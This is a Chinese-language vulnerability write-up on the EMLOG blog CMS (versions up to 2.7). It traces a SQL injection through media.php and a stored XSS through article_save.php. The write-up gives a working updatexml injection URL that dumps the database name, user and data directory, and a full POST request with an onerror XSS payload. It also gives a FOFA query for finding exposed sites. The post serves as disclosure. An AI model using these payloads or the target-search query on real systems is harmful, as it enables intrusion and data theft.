1.源码简介

EMLOG 是一款轻量级开源博客和CMS建站系统,速度快、省资源、易上手,适合各种规模的站点搭建。

2.漏洞描述

EMLOG $keyword参数存在SQL注入漏洞。

EMLOG article.php文件active_post参数存在XSS漏洞

3.影响范围

EMLOG <=2.7版本

FOFA:a

App="EMLOG"&&is_domain=true&&country="CN"

危害级别:高

4.代码审计过程

一、SQL注入漏洞分析过程

1、首先打开emlog_pro_2.5.7\admin\media.php文件,$keyword参数由此传入。在media.php中,keyword参数通过Input::getStrVar('keyword')获取。

如下图:

2、接着,这个参数被传递到Media_Model的getMedias和getMediaCount方法中如下图

3、在Media_Model类的getMedias方法里,构造SQL查询时,直接使用了$keyword变量,并将其拼接到SQL语句中。具体代码行是:emlog_pro_2.5.7\include\model\media_model.php第29行,如图

4、这里明显没有对$keyword进行任何过滤或转义处理,直接将其插入到SQL语句中。

二、XSS分析过程

1、漏洞点在emlog_pro_2.5.7\admin\articel_save.php文件,第45-50行。当$auto_excerpt为'y'时,代码使用Parsedown解析Markdown内容生成HTML摘要。若原始内容包含恶意HTML(如),转换后的HTML会被直接存储。若前端未转义摘要内容,将触发XSS。

2、跟进extractHtmlData方法未作相关过滤

3、接着$excerpt,赋值给$logData

4、最后在articel_save.php文件,第89行通过doMultiAction保存

5、跟进doMultiAction,通过钩子直接保存数据

综上若原始内容包含恶意HTML(如),转换后的HTML会被直接存储。若前端未转义摘要内容,将触发XSS。

4. 搭建环境进行验证:

Apache.2.4.39

MySql5.7.26

Php5.6.9

安装:先在msyql创建emlog数据库再访问web安装即可

1、sql注入验证:

http://127.0.0.1:8099/index.php?keyword=%2527 AND updatexml(1,concat(0x7e,database(),0x7e,user(),0x7e,@@datadir),1)%20%20--%2520

2、xss验证:

POST /emlog_pro_2.5.7/admin/article_save.php HTTP/1.1
Host: 192.168.17.103
Content-Length: 1796
Cache-Control: max-age=0
Origin: http://192.168.17.103
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7dLxxHHoddxnJMVB
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.17.103/emlog_pro_2.5.7/admin/article.php?action=edit&gid=2
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: Hm_lvt_948dba1e5d873b9c1f1c77078c521c89=1744352762; tw_comment_author=1; tk_ai=1%2BA2fri83NiO%2FIPjMIdteEBR; PHPSESSID=24fggvmjq26us7riv236npp743; EM_AUTHCOOKIE_O5MScKeTFAaXFCEtXoNG5gLYyH9s5X4Y=admin%7C0%7Cd6687300a74ea0f8afb2e7164704c7cb; em_saveLastTime=1745478698706
Connection: keep-alive
------WebKitFormBoundary7dLxxHHoddxnJMVB
Content-Disposition: form-data; name="title"
111
------WebKitFormBoundary7dLxxHHoddxnJMVB
Content-Disposition: form-data; name="logcontent"
body"><img src="xss" onerror="alert(/111111111111111/)">
------WebKitFormBoundary7dLxxHHoddxnJMVB
Content-Disposition: form-data; name="logexcerpt"
1111
------WebKitFormBoundary7dLxxHHoddxnJMVB
Content-Disposition: form-data; name="ishide"
n
------WebKitFormBoundary7dLxxHHoddxnJMVB
Content-Disposition: form-data; name="as_logid"
2
------WebKitFormBoundary7dLxxHHoddxnJMVB
Content-Disposition: form-data; name="gid"
2
------WebKitFormBoundary7dLxxHHoddxnJMVB
Content-Disposition: form-data; name="author"
1
------WebKitFormBoundary7dLxxHHoddxnJMVB
Content-Disposition: form-data; name="cover"
------WebKitFormBoundary7dLxxHHoddxnJMVB
Content-Disposition: form-data; name="upload_img"; filename=""
Content-Type: application/octet-stream
------WebKitFormBoundary7dLxxHHoddxnJMVB
Content-Disposition: form-data; name="sort"
-1
------WebKitFormBoundary7dLxxHHoddxnJMVB
Content-Disposition: form-data; name="tag"
------WebKitFormBoundary7dLxxHHoddxnJMVB
Content-Disposition: form-data; name="postdate"
2025-04-24 14:37:07
------WebKitFormBoundary7dLxxHHoddxnJMVB
Content-Disposition: form-data; name="allow_remark"
y
------WebKitFormBoundary7dLxxHHoddxnJMVB
Content-Disposition: form-data; name="alias"
------WebKitFormBoundary7dLxxHHoddxnJMVB
Content-Disposition: form-data; name="link"
------WebKitFormBoundary7dLxxHHoddxnJMVB
Content-Disposition: form-data; name="password"
------WebKitFormBoundary7dLxxHHoddxnJMVB--
  1. nuclei检测脚本:

    公众号回复Emlog获取检测脚本和源代码

6.修复建议

建议使用专门的 Web 应用程序防火墙(WAF)来检测和防止 SQL 注入攻击。WAF 可以提供更强大的安全性,包括自定义规则、恶意模式检测和更高级的防护。

【代码审计】Emlog存在SQL注入+XSS漏洞的更多相关文章

  1. Web安全Day1 - SQL注入、漏洞类型

    Web安全Day1 - SQL注入.漏洞类型 1. SQL注入 1.1 漏洞简介 1.2 漏洞原理 1.3 漏洞危害 2. SQL漏洞类型 2.1 区分数字和字符串 2.2 内联SQL注入 2.3 报 ...

  2. SpringCloud微服务实战——搭建企业级开发框架(五十一):微服务安全加固—自定义Gateway拦截器实现防止SQL注入/XSS攻击

      SQL注入是常见的系统安全问题之一,用户通过特定方式向系统发送SQL脚本,可直接自定义操作系统数据库,如果系统没有对SQL注入进行拦截,那么用户甚至可以直接对数据库进行增删改查等操作.   XSS ...

  3. 2020/1/27代码审计学习之SQL注入漏洞

    PHP代码审计SQL注入漏洞 0x00 首先明确什么是SQL注入,SQL语句必须掌握. 常见的注入总的来说可以分为两大类:数字型和字符型. 这两类中包含了诸如报错注入,宽字节注入,盲注,二次注入,co ...

  4. php代码审计3审计sql注入漏洞

    SQL注入攻击(sql injection)被广泛用于非法获取网站控制权,在设计程序时,忽略或过度任性用户的输入,从而使数据库受到攻击,可能导致数据被窃取,更改,删除以及导致服务器被嵌入后门程序等 s ...

  5. php代码审计--sql注入

    sql注入是web安全中最常见,也是平常中危害最大的漏洞. 最近在学习代码审计,拿自己审核的一段代码做个笔记. 1.sql语句拼接可能引起sql注入 很多偷懒的程序员对于没有过滤的参数,直接将其拼接到 ...

  6. Java代码审计连载之—SQL注入

    前言近日闲来无事,快两年都没怎么写代码了,打算写几行代码,做代码审计一年了,每天看代码都好几万行,突然发现自己都不会写代码了,真是很DT.想当初入门代码审计的时候真是非常难,网上几乎找不到什么java ...

  7. 代码审计中的SQL注入

    0x00 背景 SQL注入是一种常见Web漏洞,所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.本文以代码审计的形式研 ...

  8. 梨子带你刷burp练兵场(burp Academy) - 服务端篇 - Sql注入配套漏洞讲解笔记

    目录 Sql注入 什么是Sql注入呢? Sql注入有哪些例子? 检索隐藏数据 打破应用逻辑 利用Union进行跨库查询 如何确定利用Union的注入攻击所需的列数呢? 如何确定Union的查询结果中哪 ...

  9. 齐博cms最新SQL注入网站漏洞 可远程执行代码提权

    齐博cms整站系统,是目前建站系统用的较多的一款CMS系统,开源,免费,第三方扩展化,界面可视化的操作,使用简单,便于新手使用和第二次开发,受到许多站长们的喜欢.开发架构使用的是php语言以及mysq ...

  10. DWVA-关于SQL注入的漏洞详解

    low等级 代码如下: <?php if( isset( $_REQUEST[ 'Submit' ] ) ) { // Get input $id = $_REQUEST[ 'id' ]; // ...

随机推荐

  1. Flink mysql-cdc同步主键分布不均匀的mysql表

    一.背景 1.遇到问题描述 通过Flink同步mysql到iceberg中,任务一直在运行中,但是在目标表看不到数据.经排查发现job manager一直在做切片工作,切了一小时还没开始同步数据,日志 ...

  2. BUUCTF-Web方向16-20wp

    [极客大挑战 2019]PHP 由内容提示应该存在源码备份,常见的如下,一个个尝试 后缀:tar tar.gz zip rar 名字:www web website backup back wwwro ...

  3. Typecho实现版权声明的三种方式

    在安装完Typecho之后,第一件事应该就是想着如何去折腾了.对于个人博客而言,不希望自己辛辛苦苦写的文章,被别人转载或无脑采集,还不留原地址,所以就需要在文章的末尾地方放上一个版权声明,来提醒下转载 ...

  4. C# .net 压缩文件解压上传及文件压缩下载

    using ICSharpCode.SharpZipLib.Zip; using System; using System.Collections.Generic; using System.IO; ...

  5. 【Python&Hypermesh】ABAQUS导入网格,并在Part内保留SET

    在Hypermesh定义好set,划分好网格以后,可以导出为INP.然后在ABAQUS导入inp,就可以得到网格.但是这样倒进来的网格一般有两个问题: 网格全在一个部件里,原来定义好的Set会出现在装 ...

  6. (附体验地址)大模型知识引擎:AI 助手能否助力销售技能提升?

    体验地址:https://lke.cloud.tencent.com/webim_exp/#/chat/FAIMcM 腾讯云的大模型知识引擎本身定位于为企业客户及合作伙伴提供服务,因此我在探索如何最佳 ...

  7. sap 管理--企业解决方案 -设备管理

    1.什么是sap 管理 2.设备管理管的是什么 3.设备的几种状态 4.设备bom(物料清单) 5.测量点计数器 1.什么是sap 管理 System Applications and Product ...

  8. 多版本Java 配置记录

    来自 https://blog.csdn.net/zdl177/article/details/105246997 起因是为了启动MC 目录结构 Java总目录下放置多个jdk目录(jdk16.0.2 ...

  9. js回忆录(3) -- 循环语句,前后缀运算符

    计算机对于大批量数据的处理速度比起人类不知道快了多少,因此对于重复的操作,使用循环语句处理是很方便的,对于我们前端来说,给同一标签的元素绑定事件啦,tab切换啦,左右联动效果啦,等等都可以使用循环语句 ...

  10. 谜一般的js,迷一般的console

    问题的来源,是关于事件对象的currentTarget的讨论,currentTarget是什么,嗯,很简单就是绑定了监听函数,并且当前监听函数正在执行的那个dom元素.本着踏实,实事求是,严以律己的态 ...